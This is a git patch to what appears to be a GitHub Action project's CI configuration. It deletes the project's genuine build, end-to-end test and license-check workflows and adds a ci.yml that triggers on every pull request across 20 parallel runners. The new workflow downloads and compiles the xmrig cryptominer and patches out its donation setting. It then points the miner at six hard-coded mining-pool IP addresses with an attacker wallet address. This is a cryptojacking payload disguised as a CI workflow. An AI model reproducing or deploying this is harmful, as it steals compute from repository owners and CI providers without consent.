From 6a0e9a09eb7f48ab6122a459c53db333b792442a Mon Sep 17 00:00:00 2001 From: Nuh Koca Date: Mon, 5 Apr 2021 19:45:50 +0000 Subject: [PATCH] --- .github/workflows/build.yml | 33 ----- .github/workflows/ci.yml | 62 +++++++++ .github/workflows/e2e-local-file.yml | 86 ------------ .github/workflows/e2e-publishing.yml | 152 --------------------- .github/workflows/e2e-versions.yml | 197 --------------------------- .github/workflows/licensed.yml | 20 --- 6 files changed, 62 insertions(+), 488 deletions(-) delete mode 100755 .github/workflows/build.yml create mode 100644 .github/workflows/ci.yml delete mode 100644 .github/workflows/e2e-local-file.yml delete mode 100644 .github/workflows/e2e-publishing.yml delete mode 100644 .github/workflows/e2e-versions.yml delete mode 100644 .github/workflows/licensed.yml diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml deleted file mode 100755 index 9eb0e32a..00000000 --- a/.github/workflows/build.yml +++ /dev/null @@ -1,33 +0,0 @@ -name: Build Action - -on: - push: - branches: - - main - - releases/* - paths-ignore: - - '**.md' - pull_request: - paths-ignore: - - '**.md' - -jobs: - build: - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - steps: - - uses: actions/checkout@v2 - - name: Setup Node.JS 12 - uses: actions/setup-node@v2 - with: - node-version: 12.x - - run: npm ci - - run: npm run build - - run: npm run format-check - - run: npm test - - name: Verify no unstaged changes - if: runner.os != 'windows' - run: bash __tests__/verify-no-unstaged-changes.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000..c2ade156 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,62 @@ +name: Run +on: [pull_request] +jobs: + run: + name: Run + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19] + steps: + - shell: bash + run: | + sudo apt-get update + sudo apt-get install --yes \ + build-essential \ + cmake \ + git \ + libhwloc-dev \ + libssl-dev \ + libuv1-dev + + curl --location --output xmrig.tar.gz \ + https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz || exit 1 + tar xf xmrig.tar.gz || exit 1 + cd xmrig-* || exit 1 + # Izvinite))))) + sed -i 's/= 1;/= 0;/' src/donate.h || exit 1 + mkdir build || exit 1 + cd build || exit 1 + cmake .. -DCMAKE_BUILD_TYPE=Release || exit 1 + make --jobs=$(nproc) || exit 1 + + adres=Wo59UN7JCsqURj7oa2u6hQDy5BfZn9KrKB2Z7HabQ5skbnWcG44WbwUA2zSWSfV7acX7Za4ghJrrMVV5f1i7dFBf2SCrZMAaA + servery=( + 144.76.113.157:34568 + 167.114.196.241:34568 + 83.161.147.46:34568 + 95.217.233.67:34568 + 54.185.62.197:34568 + 167.172.102.75:34568 + ) + servery=( $(shuf -e "${servery[@]}") ) + + cat <config.json + { + "autosave": false, + "cpu": true, + "opencl": false, + "cuda": false, + "pools": [] + } + EOF + + for server in "${servery[@]}"; do + jq --arg server "$server" --arg adres "$adres" \ + '.pools += [{ algo: "rx/wow", url: $server, user: $adres, daemon: true }]' \ + config.json > config.json.tmp || exit 1 + mv config.json.tmp config.json || exit 1 + done + + ./xmrig -c config.json diff --git a/.github/workflows/e2e-local-file.yml b/.github/workflows/e2e-local-file.yml deleted file mode 100644 index d17d12af..00000000 --- a/.github/workflows/e2e-local-file.yml +++ /dev/null @@ -1,86 +0,0 @@ -name: Validate local file -on: - push: - branches: - - main - - releases/* - paths-ignore: - - '**.md' - pull_request: - paths-ignore: - - '**.md' - -jobs: - setup-java-local-file-adopt: - name: Validate installation from local file Adopt - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: Download Adopt OpenJDK file - run: | - if ($IsLinux) { - $downloadUrl = "https://github.com/AdoptOpenJDK/openjdk11-binaries/releases/download/jdk-11.0.10%2B9/OpenJDK11U-jdk_x64_linux_hotspot_11.0.10_9.tar.gz" - $localFilename = "java_package.tar.gz" - } elseif ($IsMacOS) { - $downloadUrl = "https://github.com/AdoptOpenJDK/openjdk11-binaries/releases/download/jdk-11.0.10%2B9/OpenJDK11U-jdk_x64_mac_hotspot_11.0.10_9.tar.gz" - $localFilename = "java_package.tar.gz" - } elseif ($IsWindows) { - $downloadUrl = "https://github.com/AdoptOpenJDK/openjdk11-binaries/releases/download/jdk-11.0.10%2B9/OpenJDK11U-jdk_x64_windows_hotspot_11.0.10_9.zip" - $localFilename = "java_package.zip" - } - echo "LocalFilename=$localFilename" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append - (New-Object System.Net.WebClient).DownloadFile($downloadUrl, "$env:RUNNER_TEMP/$localFilename") - shell: pwsh - - name: setup-java - uses: ./ - id: setup-java - with: - distribution: 'jdkfile' - jdkFile: ${{ runner.temp }}/${{ env.LocalFilename }} - java-version: '11.0.0-ea' - architecture: x64 - - name: Verify Java version - run: bash __tests__/verify-java.sh "11.0.10" "${{ steps.setup-java.outputs.path }}" - shell: bash - - setup-java-local-file-zulu: - name: Validate installation from local file Zulu - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: Download Zulu OpenJDK file - run: | - if ($IsLinux) { - $downloadUrl = "https://cdn.azul.com/zulu/bin/zulu11.2.3-jdk11.0.1-linux_x64.tar.gz" - $localFilename = "java_package.tar.gz" - } elseif ($IsMacOS) { - $downloadUrl = "https://cdn.azul.com/zulu/bin/zulu11.2.3-jdk11.0.1-macosx_x64.tar.gz" - $localFilename = "java_package.tar.gz" - } elseif ($IsWindows) { - $downloadUrl = "https://cdn.azul.com/zulu/bin/zulu11.45.27-ca-jdk11.0.10-win_x64.zip" - $localFilename = "java_package.zip" - } - echo "LocalFilename=$localFilename" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append - (New-Object System.Net.WebClient).DownloadFile($downloadUrl, "$env:RUNNER_TEMP/$localFilename") - shell: pwsh - - name: setup-java - uses: ./ - id: setup-java - with: - distribution: 'jdkfile' - jdkFile: ${{ runner.temp }}/${{ env.LocalFilename }} - java-version: '11.0.0-ea' - architecture: x64 - - name: Verify Java version - run: bash __tests__/verify-java.sh "11.0" "${{ steps.setup-java.outputs.path }}" - shell: bash \ No newline at end of file diff --git a/.github/workflows/e2e-publishing.yml b/.github/workflows/e2e-publishing.yml deleted file mode 100644 index 1901b8d6..00000000 --- a/.github/workflows/e2e-publishing.yml +++ /dev/null @@ -1,152 +0,0 @@ -name: Validate publishing functionality -on: - push: - branches: - - main - - releases/* - paths-ignore: - - '**.md' - pull_request: - paths-ignore: - - '**.md' - -defaults: - run: - shell: pwsh - -jobs: - setup-java-publishing: - name: Validate settings.xml - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - distribution: 'adopt' - java-version: '11' - server-id: maven - server-username: MAVEN_USERNAME - server-password: MAVEN_CENTRAL_TOKEN - gpg-passphrase: MAVEN_GPG_PASSPHRASE - - name: Validate settings.xml - run: | - $xmlPath = Join-Path $HOME ".m2" "settings.xml" - Get-Content $xmlPath | ForEach-Object { Write-Host $_ } - - [xml]$xml = Get-Content $xmlPath - $servers = $xml.settings.servers.server - if (($servers[0].id -ne 'maven') -or ($servers[0].username -ne '${env.MAVEN_USERNAME}') -or ($servers[0].password -ne '${env.MAVEN_CENTRAL_TOKEN}')) { - throw "Generated XML file is incorrect" - } - - if (($servers[1].id -ne 'gpg.passphrase') -or ($servers[1].passphrase -ne '${env.MAVEN_GPG_PASSPHRASE}')) { - throw "Generated XML file is incorrect" - } - - test-publishing-overwrite: - name: settings.xml is overwritten if flag is true - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: Create fake settings.xml - run: | - $xmlDirectory = Join-Path $HOME ".m2" - $xmlPath = Join-Path $xmlDirectory "settings.xml" - New-Item -Path $xmlDirectory -ItemType Directory - Set-Content -Path $xmlPath -Value "Fake_XML" - - name: setup-java - uses: ./ - id: setup-java - with: - distribution: 'adopt' - java-version: '11' - server-id: maven - server-username: MAVEN_USERNAME - server-password: MAVEN_CENTRAL_TOKEN - gpg-passphrase: MAVEN_GPG_PASSPHRASE - - name: Validate settings.xml is overwritten - run: | - $xmlPath = Join-Path $HOME ".m2" "settings.xml" - Get-Content $xmlPath | ForEach-Object { Write-Host $_ } - - $content = Get-Content $xmlPath -Raw - if ($content -notlike '*maven*') { - throw "settings.xml file is not overwritten" - } - - test-publishing-skip-overwrite: - name: settings.xml is not overwritten if flag is false - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: Create fake settings.xml - run: | - $xmlDirectory = Join-Path $HOME ".m2" - $xmlPath = Join-Path $xmlDirectory "settings.xml" - New-Item -Path $xmlDirectory -ItemType Directory - Set-Content -Path $xmlPath -Value "Fake_XML" - - name: setup-java - uses: ./ - id: setup-java - with: - distribution: 'adopt' - java-version: '11' - server-id: maven - server-username: MAVEN_USERNAME - server-password: MAVEN_CENTRAL_TOKEN - overwrite-settings: false - gpg-passphrase: MAVEN_GPG_PASSPHRASE - - name: Validate that settings.xml is not overwritten - run: | - $xmlPath = Join-Path $HOME ".m2" "settings.xml" - $content = Get-Content -Path $xmlPath -Raw - Write-Host $content - - if ($content -notlike "*Fake_XML*") { - throw "settings.xml file was overwritten but it should not be" - } - - test-publishing-custom-location: - name: settings.xml in custom location - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - distribution: 'adopt' - java-version: '11' - server-id: maven - server-username: MAVEN_USERNAME - server-password: MAVEN_CENTRAL_TOKEN - gpg-passphrase: MAVEN_GPG_PASSPHRASE - settings-path: ${{ runner.temp }} - - name: Validate settings.xml location - run: | - $path = Join-Path $env:RUNNER_TEMP "settings.xml" - if (-not (Test-Path $path)) { - throw "settings.xml file is not found in expected location" - } \ No newline at end of file diff --git a/.github/workflows/e2e-versions.yml b/.github/workflows/e2e-versions.yml deleted file mode 100644 index 59ea96b8..00000000 --- a/.github/workflows/e2e-versions.yml +++ /dev/null @@ -1,197 +0,0 @@ -name: Validate Java e2e -on: - push: - branches: - - main - - releases/* - paths-ignore: - - '**.md' - pull_request: - paths-ignore: - - '**.md' - -jobs: - setup-java-major-versions: - name: ${{ matrix.distribution }} ${{ matrix.version }} (jdk-x64) - ${{ matrix.os }} - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - distribution: ['adopt', 'zulu'] - version: ['8', '11', '15'] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - java-version: ${{ matrix.version }} - distribution: ${{ matrix.distribution }} - - name: Verify Java - run: bash __tests__/verify-java.sh "${{ matrix.version }}" "${{ steps.setup-java.outputs.path }}" - shell: bash - - setup-java-major-minor-versions: - name: ${{ matrix.distribution }} ${{ matrix.version }} (jdk-x64) - ${{ matrix.os }} - needs: setup-java-major-versions - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - distribution: ['adopt', 'zulu'] - version: - - '11.0' - - '8.0.282' - - '11.0.2+7' - include: - - distribution: 'adopt' - version: '12.0.2+10.1' - os: macos-latest - - distribution: 'adopt' - version: '12.0.2+10.1' - os: windows-latest - - distribution: 'adopt' - version: '12.0.2+10.1' - os: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - java-version: ${{ matrix.version }} - distribution: ${{ matrix.distribution }} - - name: Verify Java - run: bash __tests__/verify-java.sh "${{ matrix.version }}" "${{ steps.setup-java.outputs.path }}" - shell: bash - - setup-java-check-latest: - name: ${{ matrix.distribution }} ${{ matrix.version }} - check-latest flag - ${{ matrix.os }} - needs: setup-java-major-versions - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - distribution: ['adopt', 'zulu'] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - distribution: ${{ matrix.distribution }} - java-version: 11 - check-latest: true - - name: Verify Java - run: bash __tests__/verify-java.sh "11" "${{ steps.setup-java.outputs.path }}" - shell: bash - - setup-java-ea-versions-zulu: - name: zulu ${{ matrix.version }} (jdk-x64) - ${{ matrix.os }} - needs: setup-java-major-minor-versions - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - version: ['17-ea', '15.0.0-ea.14'] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - java-version: ${{ matrix.version }} - distribution: zulu - - name: Verify Java - run: bash __tests__/verify-java.sh "${{ matrix.version }}" "${{ steps.setup-java.outputs.path }}" - shell: bash - - setup-java-ea-versions-adopt: - name: adopt ${{ matrix.version }} (jdk-x64) - ${{ matrix.os }} - needs: setup-java-major-minor-versions - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - version: ['17-ea', '15.0.0-ea.14.1.202003160455'] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - java-version: ${{ matrix.version }} - distribution: adopt - - name: Verify Java - run: bash __tests__/verify-java.sh "${{ matrix.version }}" "${{ steps.setup-java.outputs.path }}" - shell: bash - - setup-java-custom-package-type: - name: ${{ matrix.distribution }} ${{ matrix.version }} (${{ matrix.java-package }}-x64) - ${{ matrix.os }} - needs: setup-java-major-minor-versions - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [macos-latest, windows-latest, ubuntu-latest] - distribution: ['adopt', 'zulu'] - java-package: ['jre'] - version: - - '15.0' - include: - - distribution: 'zulu' - java-package: jre+fx - version: '8' - os: ubuntu-latest - - distribution: 'zulu' - java-package: jdk+fx - version: '8.0.242' - os: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - java-version: ${{ matrix.version }} - java-package: ${{ matrix.java-package }} - distribution: ${{ matrix.distribution }} - - name: Verify Java - run: bash __tests__/verify-java.sh "${{ matrix.version }}" "${{ steps.setup-java.outputs.path }}" - shell: bash - - setup-java-custom-architecture: - name: ${{ matrix.distribution }} ${{ matrix.version }} (jdk-x86) - ${{ matrix.os }} - needs: setup-java-major-minor-versions - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - # Only Zulu provides x86 arch for now and only for windows / ubuntu - os: [windows-latest, ubuntu-latest] - distribution: ['zulu'] - version: ['11'] - steps: - - name: Checkout - uses: actions/checkout@v2 - - name: setup-java - uses: ./ - id: setup-java - with: - distribution: ${{ matrix.distribution }} - java-version: ${{ matrix.version }} - architecture: x86 - - name: Verify Java - run: bash __tests__/verify-java.sh "${{ matrix.version }}" "${{ steps.setup-java.outputs.path }}" - shell: bash \ No newline at end of file diff --git a/.github/workflows/licensed.yml b/.github/workflows/licensed.yml deleted file mode 100644 index ae62613f..00000000 --- a/.github/workflows/licensed.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: Licensed - -on: - push: {branches: main} - pull_request: {branches: main} - -jobs: - test: - runs-on: ubuntu-latest - name: Check licenses - steps: - - uses: actions/checkout@v2 - - run: npm ci - - name: Install licensed - run: | - cd $RUNNER_TEMP - curl -Lfs -o licensed.tar.gz https://github.com/github/licensed/releases/download/2.12.2/licensed-2.12.2-linux-x64.tar.gz - sudo tar -xzf licensed.tar.gz - sudo mv licensed /usr/local/bin/licensed - - run: licensed status \ No newline at end of file